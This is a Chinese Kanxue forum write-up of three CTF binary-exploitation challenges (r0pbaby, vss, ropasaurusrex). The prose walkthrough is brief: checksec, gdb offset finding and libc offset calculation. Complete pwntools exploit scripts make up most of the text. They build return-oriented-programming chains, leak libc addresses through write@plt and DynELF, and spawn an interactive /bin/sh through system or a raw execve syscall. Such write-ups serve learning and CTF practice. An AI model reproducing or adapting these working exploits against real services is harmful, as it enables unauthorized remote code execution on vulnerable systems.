bugchong 看雪学院
本文为看雪论坛优秀文章
看雪论坛作者ID:bugchong
本文为3道CTF题目的学习心得。
题目一
这是一道Defcon 2015 Qualifier上的PWN题目,名叫r0baby。
第一步:首先拿到题目,先checksec看一下:
程序为64位小端,并且开启了NX(堆栈不可执行)、PIE(地址随机化ASLR)和Fortify保护(一种增强保护机制,防止缓冲区溢出攻击,会替换诸如memcpy、memset、strcpy等危险函数)。
第二步:运行看看:
发现有4个选项:
1、获得libc地址
2、获得libc中某个函数的地址
3、向栈中输入小于1024长度的任意数据
4、退出程序
先选择1看看:
再选择2,输入system看看:
再选择3,随便输入点东西看看:
发现输入了若干字符,居然报错了(熟悉的Segmentation fault)。
第三步:用gdb看看究竟在哪里崩了:
可以看到崩溃在了0x555555554eb3:ret的地方。
通过pattern_offset计算,可以得知溢出点在8个字节处:
第四步:将程序丢到IDA中,发现函数并不多,一眼便可以看到main入口函数,F5伪代码可以看到,程序会调用系统默认的libc.so.6这个库。
通过运行libc.so.6,可以获得当前系统运行的libc版本:
1、由于开启了ASLR,因此需要知道当前执行时的system和'/bin/sh'的地址
2、知识点:64位系统中函数传参使用的寄存器顺序是RDI,RSI,RDX,RCX,R8,R9
3、在调用system函数时,先给RDI寄存器赋值为'/bin/sh'
4、因此需要使用pop rax; pop rdi; call rax这样顺序的一条指令
5、可以通过实时运行时的system地址-system偏移地址,从而得到system的基址,而后即可通过system基址+'/bin/sh'和ppc的偏移地址,即可得到它们两个的实时地址。
6、栈溢出布局如下:
第五步:将libc.so丢到IDA中,确定system以及bin/sh的地址:
第六步:利用ROPgadget找到合适的ppc地址:
最终利用EXP代码:
from pwn import *
p = process('./r0pbaby')
ppc_addr_offset = 0xfa2cb
sh_addr_offset = 0x183cee
sys_addr_offset = 0x46ff0
p.recvuntil(": ")
p.sendline("2")
p.recvuntil(": ")
p.sendline("system")
system_addr = p.recvline().split(": ")[1].strip("\n")
system_addr = long(system_addr,16)
system_base_addr = system_addr - sys_addr_offset
print "system_base: %x" % system_base_addr
sh_address = system_base_addr + sh_addr_offset
print "sh_address: %x" % sh_address
ppc_address = system_base_addr + ppc_addr_offset
print "ppc_address: %x" % ppc_address
p.recvuntil(": ")
p.sendline("3")
p.recvuntil(": ")
payload = "A" * 8 + p64(ppc_address) + p64(system_addr) + p64(sh_address)
print payload
length = str(len(payload))
print length
p.sendline(length)
p.sendline(payload)
p.interactive()
参考资料:
https://www.jianshu.com/p/982a9f09a739
https://blog.csdn.net/weixin_34112030/article/details/89664399
题目二
#include<stdio.h>
#include<string.h>
int main(){
char name [] = {"Chinanet"},destin[20]={};
strncpy(destin,name,3);
printf("%s\n",destin);
}
打印输出的结果为"Chi"。
python ROPgadget.py --binary ~/Desktop/vss/vss --ropchain
from pwn import *
from struct import pack
p = remote('127.0.0.1',4000)
recv_content = p.recvuntil('Password:\n')
p2 = ''
p2 += pack('<Q', 0x0000000000401937) # pop2 rsi ; ret
p2 += pack('<Q', 0x00000000006c4080) # @ .data
p2 += pack('<Q', 0x000000000046f208) # pop2 rax ; ret
p2 += '/bin//sh'
p2 += pack('<Q', 0x000000000046b8d1) # mov qword ptr [rsi], rax ; ret
p2 += pack('<Q', 0x0000000000401937) # pop2 rsi ; ret
p2 += pack('<Q', 0x00000000006c4088) # @ .data + 8
p2 += pack('<Q', 0x000000000041bd1f) # xor rax, rax ; ret
p2 += pack('<Q', 0x000000000046b8d1) # mov qword ptr [rsi], rax ; ret
p2 += pack('<Q', 0x0000000000401823) # pop2 rdi ; ret
p2 += pack('<Q', 0x00000000006c4080) # @ .data
p2 += pack('<Q', 0x0000000000401937) # pop2 rsi ; ret
p2 += pack('<Q', 0x00000000006c4088) # @ .data + 8
p2 += pack('<Q', 0x000000000043ae05) # pop2 rdx ; ret
p2 += pack('<Q', 0x00000000006c4088) # @ .data + 8
p2 += pack('<Q', 0x000000000041bd1f) # xor rax, rax ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045f2a5) # syscall ; ret
payload1 = 'py' + 'A' * (0x4e - 0x8) + p64(0x000000000044892a) + 'A' * (0xd0 - 0x50) + p2
p.sendline(payload1)
p.interactive()
#!/usr/bin/python
#coding:utf-8
from pwn import *
io=process('./vss')
payload = ""
payload += 'py' #头两位为py,过检测
# payload += p64(0x6161616161617970)
payload += 'a'*0x46 #padding
payload += p64(0x46f205) #add esp, 0x58; ret
payload += 'a'*8 #padding
payload += p64(0x43ae29) #pop rdx; pop rsi; ret 为sys_read设置参数
payload += p64(0x8) #rdx = 8
payload += p64(0x6c7079) #rsi = 0x6c7079,可用的bss段,用于存放'/bin/sh'
payload += p64(0x401823) #pop rdi; ret 为sys_read设置参数
payload += p64(0x0) #rdi = 0
payload += p64(0x437ea9) #mov rax, 0; syscall 调用sys_read
payload += p64(0x46f208) #pop rax; ret
payload += p64(59) #rax = 0x3b
payload += p64(0x43ae29) #pop rdx; pop rsi; ret 为sys_execve设置参数
payload += p64(0x0) #rdx = 0
payload += p64(0x0) #rsi = 0
payload += p64(0x401823) #pop rdi; ret 为sys_execve设置参数
payload += p64(0x6c7079) #rdi = 0x6c7079
payload += p64(0x437eae) #syscall
print io.recv()
io.send(payload)
sleep(0.1) #等待程序执行,防止出错
io.send('/bin/sh\x00')
io.interactive()
题目三
#-*- coding: utf-8 -*-
from pwn import *
p = process('./ropasaurusrex')
elf = ELF('./ropasaurusrex')
write_plt_addr = elf.symbols['write']
start_addr = 0x08048340
bin_sh_addr = 0x08049628 #空白的可写.bss地址
#利用write@plt获取read@got地址
def leak(addr):
payload = "A" * 140
payload += p32(write_plt_addr)
payload += p32(start_addr) #为了使程序不至于崩溃,因此将返回地址设置为程序的start地址
payload += p32(1) #write参数1,int fd(文件描述符)
payload += p32(addr) #write参数2,buf(指定的缓冲区,即指向read的指针)
payload += p32(4) #write参数3,要写入的字节数
p.sendline(payload)
content = p.recv(4)
# print("%#x => %s" % (addr, (content or '').encode('hex')))
return content
d = DynELF(leak, elf = elf )
system_addr = d.lookup('system','libc')
read_addr = d.lookup('read','libc')
print ("system_address: %#x" % system_addr)
print ("read_address: %#x" % read_addr)
base_addr = read_addr - elf.symbols['read']
print ("base_address: %#x" % base_addr)
payload = "A" *140
payload += p32(read_addr)
payload += p32(system_addr)
payload += p32(0)
payload += p32(bin_sh_addr)
payload += p32(8)
p.sendline(payload)
p.sendline('/bin/sh\x00')
p.interactive()
看雪ID:bugchong
https://bbs.pediy.com/user-510716.htm
推荐文章++++
* 某盗链App逆向
好书推荐